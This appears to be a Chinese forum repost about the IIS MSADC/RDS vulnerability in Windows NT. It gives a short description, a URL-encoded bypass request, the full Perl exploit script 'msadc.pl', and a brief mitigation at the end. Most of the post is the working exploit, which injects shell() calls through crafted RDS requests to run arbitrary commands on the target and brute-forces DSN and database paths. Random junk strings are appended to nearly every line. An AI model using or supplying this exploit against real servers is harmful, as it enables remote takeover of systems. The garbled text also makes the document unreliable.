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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) k9cK b f@  
AD(xaQ&T  
涉及程序: &.hoC Po$  
Microsoft NT server xOhRTxic  
D4d]3|/T  
描述: OO$|9`a  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 T)`gm{T  
Tu==49  
详细: D^N[=q99&e  
如果你没有时间读详细内容的话,就删除: "=FIFf  
c:\Program Files\Common Files\System\Msadc\msadcs.dll g/x_m.  
有关的安全问题就没有了。 *JwFD^<j  
rYbCOazr  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 wtq,`'B  
r9<V%PH v  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 +9TV:T  
关于利用ODBC远程漏洞的描述,请参看: hRk,vB ]  
8*vFdoE_oO  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm iW'_R{)T  
:u AjV  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 7$K}qsr<  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp kw3 +>{\  
*g*VCO  
这里不再论述。 Rw/Ciw2@?  
>n(F4C-pl  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: HXyFj  
KA?v.s  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ZH!;z-R  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! &h\7^=s.  
<M=';h^w2  
w\p9J0  
#将下面这段保存为txt文件,然后: "perl -x 文件名" )]3L/  
5 1"8Py  
#!perl 3Qa?\C&4  
# p x0Sy|  
# MSADC/RDS 'usage' (aka exploit) script LGAX"/LX  
# 3Mur*tj#  
# by rain.forest.puppy b22LT52  
# %TDXF_.[  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me y ^SyhG,V[  
# beta test and find errors! ?/)lnj)e{  
1EQvcw #  
use Socket; use Getopt::Std; UUGe"]V^g:  
getopts("e:vd:h:XR", \%args); &lUNy L  
6A.P6DW  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; t|<FA#  
vn``0!FX  
if (!defined $args{h} && !defined $args{R}) { %/Bvy*X&  
print qq~ RvR:e|  
Usage: msadc.pl -h <host> { -d <delay> -X -v } {!MVc<G.  
-h <host> = host you want to scan (ip or domain) Nkx0CG*  
-d <seconds> = delay between calls, default 1 second B2Qp}  
-X = dump Index Server path table, if available [t$4Tdd  
-v = verbose :SK<2<8h  
-e = external dictionary file for step 5 ?3Pazc]+|  
Hk~k@Wft  
Or a -R will resume a command session H}B2A"  
z|Ap\[GS  
~; exit;} LZ4xfB (  
`/0u{[  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; y~dB5/  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} P,U$ %C!  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} (uRZxX  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); /,LfA2^_j{  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} W"|mpxp  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ODek%0=  
mTJ"l(,3  
if (!defined $args{R}){ $ret = &has_msadc; F;-90w  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} S*xhX1yUi  
d+Ds9(gV  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" dl_{iMhF&E  
. "cmd /c "; \q,s?`+B  
$in=<STDIN>; chomp $in; 1|]xo3j"'  
$command="cmd /c " . $in ; -p]>Be+^x  
7=vYO|a/4  
if (defined $args{R}) {&load; exit;} d@Q][7  
e"~)Utk  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; @iRO7 6m  
&try_btcustmr; ogJ<e_ m  
3p&jLFphL  
print "\nStep 2: Trying to make our own DSN..."; nEyI t&> 9  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ~{P:sjsU  
[Y$V\h=V  
print "\nStep 3: Trying known DSNs..."; ^SAq^3^P!  
&known_dsn; -%H%m`wD  
gB >pd?d  
print "\nStep 4: Trying known .mdbs..."; r@yD8D \  
&known_mdb; JjQVzkE  
CL1 oAk  
if (defined $args{e}){ v8~YR'T0`V  
print "\nStep 5: Trying dictionary of DSN names..."; c.0]1  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } l]) Q.m  
Zih ?Bm  
print "Sorry Charley...maybe next time?\n"; rREzM)GA  
exit; O|7yP30?M  
E(;i>   
############################################################################## l&Q!mU}  
`m, Ki69.  
sub sendraw { # ripped and modded from whisker `kPc!I7Y  
sleep($delay); # it's a DoS on the server! At least on mine... SM<d  
my ($pstr)=@_; o:9$UV[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Y"*:&E2)r  
die("Socket problems\n"); LABNj{=D!  
if(connect(S,pack "SnA4x8",2,80,$target)){ "{ FoA3g|  
select(S); $|=1; d;44;*D  
print $pstr; my @in=<S>; ?:/|d\,7@  
select(STDOUT); close(S); Vo >Xp  
return @in; ]"h=Qc  
} else { die("Can't connect...\n"); }} />F.Nsujy  
{ 8p\Y  
############################################################################## /AR]dcL@76  
3Oiy)f@{TF  
sub make_header { # make the HTTP request $H;+}VQ  
my $msadc=<<EOT t !~ S9c  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 o|rzN\WJn  
User-Agent: ACTIVEDATA e "n|jRh  
Host: $ip +$,dwyI2t  
Content-Length: $clen 3\+N`!  
Connection: Keep-Alive ]7vf#1i<  
7xT[<?,  
ADCClientVersion:01.06 l"5y?jT  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 agT7=hX].  
{ i;6vRr  
--!ADM!ROX!YOUR!WORLD! ?bI?GvSh  
Content-Type: application/x-varg I N_gF_@%  
Content-Length: $reqlen gQ+9xTd  
m[rL\](-  
EOT 5 0Ad,mn<  
; $msadc=~s/\n/\r\n/g; e8q4O|I_  
return $msadc;} (}jL_E  
}NwN2xTB  
############################################################################## |^ iA6)Q  
iC*U$+JG  
sub make_req { # make the RDS request  5~s{N  
my ($switch, $p1, $p2)=@_; vi|Zit  
my $req=""; my $t1, $t2, $query, $dsn; fnOIv#  
<T4(H[9B  
if ($switch==1){ # this is the btcustmr.mdb query QptOQ3!  
$query="Select * from Customers where City=" . make_shell(); 2LK]Q/WG,+  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . S_5?U2%D  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} RJPcn)@l  
2fbU-9Rfn  
elsif ($switch==2){ # this is general make table query j+Zt.KXjT  
$query="create table AZZ (B int, C varchar(10))"; `xIh\q  
$dsn="$p1";} +?V0:Kz]  
@yKZRwg  
elsif ($switch==3){ # this is general exploit table query &k+*3.X  
$query="select * from AZZ where C=" . make_shell(); \JU{xQMB  
$dsn="$p1";} 1ktHN: ta  
w_3xKnMT\  
elsif ($switch==4){ # attempt to hork file info from index server q^]tyU!w  
$query="select path from scope()"; ^aptLJF  
$dsn="Provider=MSIDXS;";} Q S;F+cmTh  
~S;!T  
elsif ($switch==5){ # bad query Pgev)rh[  
$query="select"; PkJcd->  
$dsn="$p1";} `:4MMr91  
3agNBF2  
$t1= make_unicode($query); y\Dn^  
$t2= make_unicode($dsn); @'gl~J7  
$req = "\x02\x00\x03\x00"; k/bque  
$req.= "\x08\x00" . pack ("S1", length($t1)); :l`i4kx  
$req.= "\x00\x00" . $t1 ; a2X h>{  
$req.= "\x08\x00" . pack ("S1", length($t2)); Fx5ZwT t  
$req.= "\x00\x00" . $t2 ; u G[!w!e  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ~d>uXrb  
return $req;} XN(tcdCG  
ns26$bU  
############################################################################## gIBpOPr^d  
.+vd6Uc5a  
sub make_shell { # this makes the shell() statement uS-3\$  
return "'|shell(\"$command\")|'";} x< S\D&  
NQR^%<hU  
############################################################################## ((cb4IX  
!;+U_j'Pg  
sub make_unicode { # quick little function to convert to unicode agW9Go_F[  
my ($in)=@_; my $out; zp#:EZ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 5%& ]  
return $out;} 3SFg#  
>fbo r'|  
############################################################################## e/@29  
4oN${7k0  
sub rdo_success { # checks for RDO return success (this is kludge) \gd6Yx^[  
my (@in) = @_; my $base=content_start(@in); oXbI5XY)wb  
if($in[$base]=~/multipart\/mixed/){ `VXZ khm  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} J&_3VKrN  
return 0;} ^r4|{  
o$\tHzB9!A  
############################################################################## CrO`=\  
ArL-rJ{}  
sub make_dsn { # this makes a DSN for us obYn&\6  
my @drives=("c","d","e","f"); |K)p]i+  
print "\nMaking DSN: "; 4(8<w cL  
foreach $drive (@drives) { "qgu$N4/>  
print "$drive: "; hv{87`L'K(  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . &D)2KD"N  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 5}7ISNP;f  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); w49{-Pp[  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; eK *W =c#@  
return 0 if $2 eq "404"; # not found/doesn't exist NhCAv +  
if($2 eq "200") { sxk*$jO[]  
foreach $line (@results) { ,m3":{G:t.  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 7O9n!aJ  
} return 0;} "4RQ`.S R  
`{<JC{yc?  
############################################################################## 2md.S$V$,  
E9L!)D]Y  
sub verify_exists { AygvJeM_W  
my ($page)=@_; 8(^ ,r#Gy  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 0:#7M}U  
return $results[0];} ]$|st^Q  
1xIFvXru  
############################################################################## D Kq-C%  
DUhT>,~]  
sub try_btcustmr { =oPng= :  
my @drives=("c","d","e","f"); La]4/=a  
my @dirs=("winnt","winnt35","winnt351","win","windows");  VmYBa(  
cPJ7E  
foreach $dir (@dirs) { oAaf)?8  
print "$dir -> "; # fun status so you can see progress G\):2Qz!|  
foreach $drive (@drives) { /0l-mfRr  
print "$drive: "; # ditto LC76Qi;|k  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; .X^43 q  
$reqlenlen=length( "$reqlen" ); .c03}RTC^  
$clen= 206 + $reqlenlen + $reqlen; '(XW$D  
Q8 4t9b  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); C6CGj8G  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} UFL0 K  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} OFQ{9  
VD9J}bgJ  
############################################################################## K]9tc)  
4[Z1r~t\L  
sub odbc_error { L/5z!  
my (@in)=@_; my $base; ZRUh/<\[  
my $base = content_start(@in); F46O!xb%  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this J7_8$B-j7  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \3M1.Q4$Gr  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \k4M{h6  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jXtLo,km  
return $in[$base+4].$in[$base+5].$in[$base+6];} %Dl_}  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9X.gg$P  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 5qeT4| Ol  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} b6]e4DL:R  
XQ4dohGCP  
############################################################################## D)h["z|F  
I>\}}!  
sub verbose { UUD\bWfn  
my ($in)=@_; FDl,Ey^r/  
return if !$verbose; '8L(f w{k  
print STDOUT "\n$in\n";} juR  
s!NisF  
############################################################################## |b,zw^!e['  
JE/l#Q!  
sub save { $+iu\MuX  
my ($p1, $p2, $p3, $p4)=@_; O~nBz):2  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; zV6AuUIt  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ]<Z&=0i#9  
close OUT;} 1k*n1t):  
~>.awu+o|  
############################################################################## fp,1qzU[k  
r*c82}tc  
sub load { 6vMDm0sv  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3zk:59  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); wVlSjk  
@p=<IN>; close(IN); c9 gz!NE  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); t%0r"bTi  
$target= inet_aton($ip) || die("inet_aton problems"); aB/{ %%o  
print "Resuming to $ip ..."; yY-FL`-  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; nLzX Z6JlU  
if($p[1]==1) { Ym3 "  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; *7)S%r,?  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; V< 2IIH5^  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Y'3k E  
if (rdo_success(@results)){print "Success!\n";} f_^ix  
else { print "failed\n"; verbose(odbc_error(@results));}} l2z`<2mp  
elsif ($p[1]==3){ eUzU]6h  
if(run_query("$p[3]")){ Q>cL?ie  
print "Success!\n";} else { print "failed\n"; }} i=,B88ko  
elsif ($p[1]==4){ _%AJmt}  
if(run_query($drvst . "$p[3]")){ Z5"!0B^ j  
print "Success!\n"; } else { print "failed\n"; }} a*pXrp@  
exit;} ;9 =}_h)]  
& y#y>([~  
############################################################################## CnM+HN30o  
D}=/w+  
sub create_table { H>gWxJ 5  
my ($in)=@_; KIXwx98  
$reqlen=length( make_req(2,$in,"") ) - 28; vE^h}~5U  
$reqlenlen=length( "$reqlen" ); i{%z  
$clen= 206 + $reqlenlen + $reqlen; f\U?:8 3  
my @results=sendraw(make_header() . make_req(2,$in,"")); e'}ePvN  
return 1 if rdo_success(@results); l}U~I 3}).  
my $temp= odbc_error(@results); verbose($temp); awj}K  
return 1 if $temp=~/Table 'AZZ' already exists/; hfl%r9o  
return 0;} 6qz!M  
|SSf G~r  
############################################################################## H]T2$'U6  
x= vE&9_u  
sub known_dsn { "jkw8UVz  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ' 91u q  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", nr<}Hc^f-  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", A>&>6O4  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); b#/V;  
Wo1V$[`Dy  
foreach $dSn (@dsns) { U|y;b+n`  
print "."; 5JXzfc9rL  
next if (!is_access("DSN=$dSn")); 9.MGH2^ L?  
if(create_table("DSN=$dSn")){ :$X4#k<  
print "$dSn successful\n"; mcP{-oJ0W  
if(run_query("DSN=$dSn")){ Gdc ~Lh  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [Ls2k&)0  
print "Something's borked. Use verbose next time\n";}}} print "\n";} _{Fdw  
IlC:dA  
############################################################################## 7~%  
e&FX7dsyy  
sub is_access { vV&AG1_Mv  
my ($in)=@_; &t9XK8S  
$reqlen=length( make_req(5,$in,"") ) - 28; n+RUPZ  
$reqlenlen=length( "$reqlen" );  5Xy^I^J  
$clen= 206 + $reqlenlen + $reqlen; w# gU1yu  
my @results=sendraw(make_header() . make_req(5,$in,"")); CHdet(_=v  
my $temp= odbc_error(@results); Xdp`Z'g  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); h Vt+%tmNy  
return 0;} R"\u b"]  
!lt\2Ae  
############################################################################## .9[8H:Fe  
yEw"8u'  
sub run_query { %gne%9nn  
my ($in)=@_; V.P5v {  
$reqlen=length( make_req(3,$in,"") ) - 28; 4LKs'$:A=  
$reqlenlen=length( "$reqlen" ); JK^B+.  
$clen= 206 + $reqlenlen + $reqlen; `)( <g  
my @results=sendraw(make_header() . make_req(3,$in,"")); ^%'tD  
return 1 if rdo_success(@results); nV,{w4t+  
my $temp= odbc_error(@results); verbose($temp); I W] 841  
return 0;} YVg}q#  
!Z0rTC3d  
############################################################################## &:e}4/G  
T0]%(F/8  
sub known_mdb { #K,qF*  
my @drives=("c","d","e","f","g"); 65`'Upu  
my @dirs=("winnt","winnt35","winnt351","win","windows"); uX5 --o=C  
my $dir, $drive, $mdb; %\z COfN  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; :x*|lz[  
L_zmU_zD  
# this is sparse, because I don't know of many dnWt\>6& 2  
my @sysmdbs=( "\\catroot\\icatalog.mdb", KiRt'  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", )zc8bS  
"\\system32\\certmdb.mdb", dc@wf;o  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% xf F&$K"  
L8-[:1  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", YV_I-l0  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 51;%\@=  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Mpl,}Q!c  
"\\cfusion\\cfapps\\security\\realm_.mdb", vdFQf ^l  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ZX5A%`<M  
"\\cfusion\\database\\cfexamples.mdb", '14l )1g.  
"\\cfusion\\database\\cfsnippets.mdb", ;x0KaFk  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", YT%SCaU  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", )}9}"jrDlx  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ADl>~3b  
"\\cfusion\\database\\smpolicy.mdb", *,XJN_DKj  
"\\cfusion\\database\cypress.mdb", -Fw4;&>  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", MzW$Sl&:  
"\\website\\cgi-win\\dbsample.mdb", ALt";8Oa  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ^{sI'l~  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" XJ1nhE  
); #these are just +so o2cb  
foreach $drive (@drives) { UmI@":|-  
foreach $dir (@dirs){ 3SB7)8Id1  
foreach $mdb (@sysmdbs) { 90(oV&  
print "."; }m lbN0v  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ hB<z]sl  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 89e.\EH  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ :V1ZeNw  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ]~<T` )Hi  
} else { print "Something's borked. Use verbose next time\n"; }}}}} zmS-s\$,  
7a.#F]`  
foreach $drive (@drives) { {]m e?I  
foreach $mdb (@mdbs) { P>,D$-3  
print "."; xu pdjT%4  
if(create_table($drv . $drive . $dir . $mdb)){ KUn5S&eB  
print "\n" . $drive . $dir . $mdb . " successful\n"; /(L1!BPP9m  
if(run_query($drv . $drive . $dir . $mdb)){ yaGVY*M0  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; {1&,6kJF&9  
} else { print "Something's borked. Use verbose next time\n"; }}}} `2~Ea_Z  
} rTiuQdvo  
Q-%=ZW Z  
############################################################################## zW&O>H  
[eik<1=,~?  
sub hork_idx { C xN@g'  
print "\nAttempting to dump Index Server tables...\n"; (c7{dYV  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; IHMyP~{  
$reqlen=length( make_req(4,"","") ) - 28; aRKG)0=  
$reqlenlen=length( "$reqlen" ); 8@#Y <{  
$clen= 206 + $reqlenlen + $reqlen; Z#V\[  
my @results=sendraw2(make_header() . make_req(4,"","")); WD1$"}R  
if (rdo_success(@results)){ [5:7 WqB  
my $max=@results; my $c; my %d; XD>@EYN<X  
for($c=19; $c<$max; $c++){ H~K2`Cr)4  
$results[$c]=~s/\x00//g; QlXF:Gx"=  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; &otgN<H9  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; *Bz&  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; *==nOO9G  
$d{"$1$2"}="";} TBp5xz`  
foreach $c (keys %d){ print "$c\n"; } ]/naH#8G  
} else {print "Index server doesn't seem to be installed.\n"; }} b,A1(_pzi  
P z!yIj  
############################################################################## Z'kYf   
2|o$eq3t  
sub dsn_dict { Nr+1N83S}  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); k&;L(D  
while(<IN>){ wd0ACF  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; {vlh ,0~  
next if (!is_access("DSN=$dSn")); >k-poBw  
if(create_table("DSN=$dSn")){ !XC7F UO  
print "$dSn successful\n"; A84HaRlkF5  
if(run_query("DSN=$dSn")){ k3kqgR*  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { '2#fkH[.  
print "Something's borked. Use verbose next time\n";}}} 6K0*?j{;"  
print "\n"; close(IN);} 9R3=h5Y  
+rX,Sl`/  
############################################################################## 2p ,6=8^v  
#pFybk  
sub sendraw2 { # ripped and modded from whisker FX 3[U+  
sleep($delay); # it's a DoS on the server! At least on mine... |7fBiVo  
my ($pstr)=@_; > `M\xt  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ,:,|A/U  
die("Socket problems\n"); 96j2D8=w  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4v .6_ebL  
print "Connected. Getting data"; :b-(@a7>  
open(OUT,">raw.out"); my @in; ZQ/5]]}3y  
select(S); $|=1; print $pstr; \/Y<.#?_  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} (*]Y<ve  
close(OUT); select(STDOUT); close(S); return @in; h]$zub  
} else { die("Can't connect...\n"); }} &x  #5-O'  
^j7pF.j  
############################################################################## q<7n5kJ~  
VGIc|Q=F  
sub content_start { # this will take in the server headers  ovO^uWz`  
my (@in)=@_; my $c; ,-Gw#!0  
for ($c=1;$c<500;$c++) { h,g~J-x`|  
if($in[$c] =~/^\x0d\x0a/){ -:q7"s-}b  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } / [M~##%:  
else { return $c+1; }}} uzD{ewR/.y  
return -1;} # it should never get here actually m|[ Hhw=f  
<s >SnOD  
############################################################################## cs)hq4-L`  
@P?*<b{  
sub funky { [R$4n-$  
my (@in)=@_; my $error=odbc_error(@in);  O(!'V~3  
if($error=~/ADO could not find the specified provider/){ QWEK;kUa@  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; .v{ty  
exit;} S"l&=J2dc  
if($error=~/A Handler is required/){ B7;MY6h#  
print "\nServer has custom handler filters (they most likely are patched)\n"; dXhV]xK  
exit;} W2^R$"U  
if($error=~/specified Handler has denied Access/){ <U*d   
print "\nServer has custom handler filters (they most likely are patched)\n"; *h1@eJHMz  
exit;}} v:'y&yS  
t{9Ph]e  
############################################################################## .:}\Z27-c  
CAO$Zt  
sub has_msadc { y-YYDEl  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Bb)J8,LQ  
my $base=content_start(@results); E_P]f%  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); <Bwu N,}  
return 0;} O{PRK5^h  
O?_'6T  
######################## (,>`\\  
%?seX+ne  
x UYSD  
解决方案: jp|wc,]!  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ^*W3{eyi(L  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 *m7e>]-  
{VFp fo  
拿出来充数 哈哈
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